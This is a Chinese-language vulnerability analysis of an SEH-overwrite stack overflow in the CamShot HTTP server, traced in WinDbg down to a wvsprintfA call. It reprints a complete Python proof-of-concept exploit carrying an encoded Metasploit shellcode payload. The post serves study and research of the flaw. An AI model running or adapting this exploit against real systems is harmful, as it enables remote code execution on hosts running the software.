作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/207069764a71394b87fd7de081e6609f-camsht12.exe
PoC:
# CamShot SEH overwrite by tecnik
import socket, sys
if len(sys.argv)!=2:
print "Usage: camshot.py <target>"
exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],80))
print "Sending Exploit to:" + sys.argv[1]
# GET request + overflow string
request ="GET /"
request +="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# short jump over SE Handler Addr overwrite
request +="\x90\x90\xEB\x07"
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]
request +="\x9A\xF7\xA9\x61"
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA"
# ALPHA3 encoded (lowercase ascii with EDX base) Metasploit shellcode (Exec calc.exe)
request +="j314d34djq34djk34d1421r11r7j314d34dj234dkmr502dr5o0d25usz85561k20213o83060499913o2656e327e79ld1303l2k88gnd0x3xmxlk856c7cn40k049kle6570ob0xkk9d3901ok5d3dnx5c0emxn831o57cox6x5d4b5dng6fkg322532l911l4of4k8k3x89ldmc151xj953nfkx6f333c19l0me645g1254okmel505023co30eo87fm178jg30m8n2l14g4c8el342997b5x9xn049845xok4415503g3gn41fmdlb6fnk629cjkk2j59878n23e413881nb9c1fme241gl1nx0e711369ne90j13e0b120dke581d42121co07c83k2lele4x5k3d7go84d9c015x038d32l5o36g088c0b930229j9oe7x332bjg8f3825nk422081888clx9g0k3cl5j8kf7139197"
request +=" HTTP/1.1\r\n"
request +="HOST: 127.0.0.1\r\n\r\n"
s.send(request)
print "Done."
s.close()
测试环境:
Windows xp sp3
PoC依然出自EDB,使用时可以修改exploit部分改成畸形字符串,运行camshot,将会开启80端口,可以作为http服务器访问,发送畸形get包,会引发漏洞。
漏洞复现
此漏洞是由于对GET请求处理时,对URL的头部处理没有进行严格的检查,从而导致在调用sprintf时,超长串拷贝造成了ebp后某参数地址存放的指针被覆盖,从而导致调用指针时读取不可读的指针,从而进入SEH异常函数处理,再通过覆盖SEH指针导致代码执行。下面对此漏洞进行详细分析。
首先加载程序,附加windbg,通过PoC,发送get包,程序崩溃,到达漏洞现场。
0:002> g
(c70.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fa9c ebx=0040a000 ecx=00000376 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ae esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\BroadGun\CamShot\program\camshot.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BroadGun\CamShot\program\camshot.exe
camshot+0x48ae:
004048ae 8b3e mov edi,dword ptr [esi] ds:0023:ed819090=????????
可以看到此时esi对应的地址是一个不可读的地址,而这个ed819090看上去很熟悉。我们来看一下PoC。
# short jump over SE Handler Addr overwrite
request +="\x90\x90\xEB\x07"
# overwrite SEH to point to mfc40.dll (no SafeSeh) JMP [EBP-4]
request +="\x9A\xF7\xA9\x61"
# NOP's I haven't cleaned up; SUB EBP,-508; XCHG EBP,EDX; (to setup Base Addr for ALPHA3 encoded shellcode)
request +="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xED\xF8\xFA\xFF\xFF\x90\x90\x87\xEA"
在PoC中构造request的部分,可以看到\x90\x90\x81\xED的部分,正好是esi对应的地址内容,那么我们可以确定漏洞形成的原因应该是:esi本来应该是一处指针,但是却被GET后面URL的内容覆盖了,从而导致了这次请求失败,我们按G继续运行程序。
0:000> g
(c70.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=3f909061 edx=7c9232bc esi=00000000 edi=00000000
eip=3f909061 esp=0012f6c0 ebp=0012f6e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
3f909061 ?? ???
可以看到程序由于进入SEH异常函数后,SEH指针被覆盖,导致程序被接管。调用KB看一下堆栈调用。
0012fbd8 90909090 ed819090 fffffaf8 ea879090 camshot+0x48ae
0012fbdc ed819090 fffffaf8 ea879090 3431336a 0x90909090
0012fbe0 fffffaf8 ea879090 3431336a 64343364 0xed819090
0012fbe4 ea879090 3431336a 64343364 3433716a 0xfffffaf8
0012fbe8 3431336a 64343364 3433716a 336b6a64 0xea879090
0012fbec 64343364 3433716a 336b6a64 34316434 0x3431336a
0012fbf0 3433716a 336b6a64 34316434 31723132 0x64343364
0012fbf4 336b6a64 34316434 31723132 6a377231 0x3433716a
0012fbf8 34316434 31723132 6a377231 64343133 0x336b6a64
0012fbfc 31723132 6a377231 64343133 6a643433 0x34316434
0012fc00 6a377231 64343133 6a643433 64343332 0x31723132
0012fc04 64343133 6a643433 64343332 35726d6b 0x6a377231
0012fc08 6a643433 64343332 35726d6b 72643230 0x64343133
0012fc0c 64343332 35726d6b 72643230 64306f35 0x6a643433
已经被shellcode覆盖,通过PoC和漏洞触发场景结合其实已经知道了漏洞形成的大致原因,接下来我们分析一下为何会形成漏洞。
漏洞分析
虽然堆栈已经被shellcode覆盖,无法回溯,但是漏洞崩溃前的位置我们还是可以看到的。
.text:00404891 loc_404891: ; CODE XREF: sub_4047F0+7Aj
.text:00404891 push 0
.text:00404893 lea edi, [ebp+var_13C]
.text:00404899 mov ecx, 0FFFFFFFFh
.text:0040489E sub eax, eax
.text:004048A0 repne scasb
.text:004048A2 lea eax, [ebp+var_13C]
.text:004048A8 mov esi, [ebp+arg_0]
.text:004048AB not ecx
.text:004048AD dec ecx
.text:004048AE mov edi, [esi]
在这个loc里,我们看一下004048A8的位置,将arg_0,也就是第一个参数,赋值给了esi,而后面esi调用失败,由此可以推断是第一个参数出现了问题。
那么现在有两种可能,第一种是,在进入这个引发漏洞函数之前,第一个参数就已经被覆盖了,第二种可能是进入漏洞后某处被覆盖,因此我们需要回溯一下函数入口处来确认一下。
.text:004047F0 ; int __cdecl sub_4047F0(int, int, char arglist)
.text:004047F0 sub_4047F0 proc near ; CODE XREF: sub_403580:loc_4035DFp
.text:004047F0 ; sub_403580+229p ...
.text:004047F0
.text:004047F0 var_13C = byte ptr -13Ch
.text:004047F0 var_10 = dword ptr -10h
.text:004047F0 var_C = dword ptr -0Ch
.text:004047F0 var_4 = dword ptr -4
.text:004047F0 arg_0 = dword ptr 8
.text:004047F0 arg_4 = dword ptr 0Ch
.text:004047F0 arglist = byte ptr 10h
.text:004047F0
.text:004047F0 mov eax, large fs:0
.text:004047F6 push ebp
.text:004047F7 mov ebp, esp
.text:004047F9 push 0FFFFFFFFh
.text:004047FB push offset loc_40490C
.text:00404800 push eax
.text:00404801 mov large fs:0, esp
我们在004047F0下断点跟踪。
0:002> bp 004047F0
*** WARNING: Unable to verify checksum for C:\Program Files\BroadGun\CamShot\program\camshot.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\BroadGun\CamShot\program\camshot.exe
0:002> g
Breakpoint 0 hit
eax=003d7104 ebx=0040a000 ecx=003d7b6c edx=003d7090 esi=003d7100 edi=77d2aafd
eip=004047f0 esp=0012fbdc ebp=0012fc1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
camshot+0x47f0:
004047f0 64a100000000 mov eax,dword ptr fs:[00000000h] fs:003b:00000000=0012fc10
程序到达后,在抬高栈顶之前,我们通过观察esp的方法来观察一下第一个参数是不是存在问题。
0:000> dd esp
0012fbdc 004035e4 003d7090 00000194 003d7b6c
0012fbec 77d2aafd 003d7090 00670470 00000400
0012fbfc 00000000 003d7090 77d2aafd 003d7104
0012fc0c 003d7090 0012fcd0 004038cd ffffffff
0012fc1c 0012fcdc 0040147e 00000124 003d7090
0012fc2c 61d0e67a 00000000 00000001 003d6200
0012fc3c 61d8d0b0 61d0e5f5 00000124 00000001
0012fc4c 61cf187e 00000124 00000001 61d8d35c
可以看到参数并没有存在问题,那么基本可以确定是函数内部出现了问题,继续单步跟踪。
可以看到通过一处loc后进入分支,那么我们在之前的这处loc位置下断点。
.text:00404832 lea ecx, [ebp+var_10]
.text:00404835 call MFC40_486
.text:0040483A mov [ebp+var_4], 0
.text:00404841 test esi, esi
.text:00404843 jnz short loc_40486C
.text:00404845 push 8Dh
.text:0040484A lea ecx, [ebp+var_10]
.text:0040484D call MFC40_3656
进入后继续单步跟踪。
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=00000001 esi=00000001 edi=00000002
eip=00404882 esp=0012fa94 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x4882:
00404882 50 push eax
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=00000001 esi=00000001 edi=00000002
eip=00404883 esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x4883:
00404883 8d95c4feffff lea edx,[ebp-13Ch]
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=00404889 esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x4889:
00404889 51 push ecx
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=0040488a esp=0012fa8c ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x488a:
0040488a 52 push edx
0:000> p
eax=0012fbe8 ebx=0040a000 ecx=003d7e74 edx=0012fa9c esi=00000001 edi=00000002
eip=0040488b esp=0012fa88 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x488b:
0040488b ff15d8ed4000 call dword ptr [camshot+0xedd8 (0040edd8)] ds:0023:0040edd8={USER32!wvsprintfA (77d1a610)}
0:000> p
eax=00000376 ebx=0040a000 ecx=00006581 edx=00000037 esi=00000001 edi=00000002
eip=00404891 esp=0012fa94 ebp=0012fbd8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
camshot+0x4891:
00404891 6a00 push 0
可以看到进入右侧分支后,会调用一处call wvsprintfA,而在这次调用后,我们来看一下ebp的值。
0:000> dd ebp
0012fbd8 90909090 90909090 ed819090 fffffaf8
0012fbe8 ea879090 3431336a 64343364 3433716a
0012fbf8 336b6a64 34316434 31723132 6a377231
0012fc08 64343133 6a643433 64343332 35726d6b
0012fc18 72643230 64306f35 73753532 3535387a
0012fc28 326b3136 33313230 3033386f 39343036
0012fc38 33313939 3536326f 32336536 39376537
0012fc48 3331646c 326c3330 6738386b 7830646e
已经被覆盖了,接下来进入之前我们看到的漏洞位置。
0:000> p
eax=0012fa9c ebx=0040a000 ecx=fffffc88 edx=00000037 esi=00000001 edi=0012fe13
eip=004048a8 esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
camshot+0x48a8:
004048a8 8b7508 mov esi,dword ptr [ebp+8] ss:0023:0012fbe0=ed819090
0:000> p
eax=0012fa9c ebx=0040a000 ecx=fffffc88 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ab esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
camshot+0x48ab:
004048ab f7d1 not ecx
0:000> p
eax=0012fa9c ebx=0040a000 ecx=00000377 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ad esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
camshot+0x48ad:
004048ad 49 dec ecx
0:000> p
eax=0012fa9c ebx=0040a000 ecx=00000376 edx=00000037 esi=ed819090 edi=0012fe13
eip=004048ae esp=0012fa90 ebp=0012fbd8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
camshot+0x48ae:
004048ae 8b3e mov edi,dword ptr [esi] ds:0023:ed819090=????????
果然ebp读取指针,由于指针被覆盖,导致了问题的发生。
各种漏洞的呢。。。。
真棒真棒真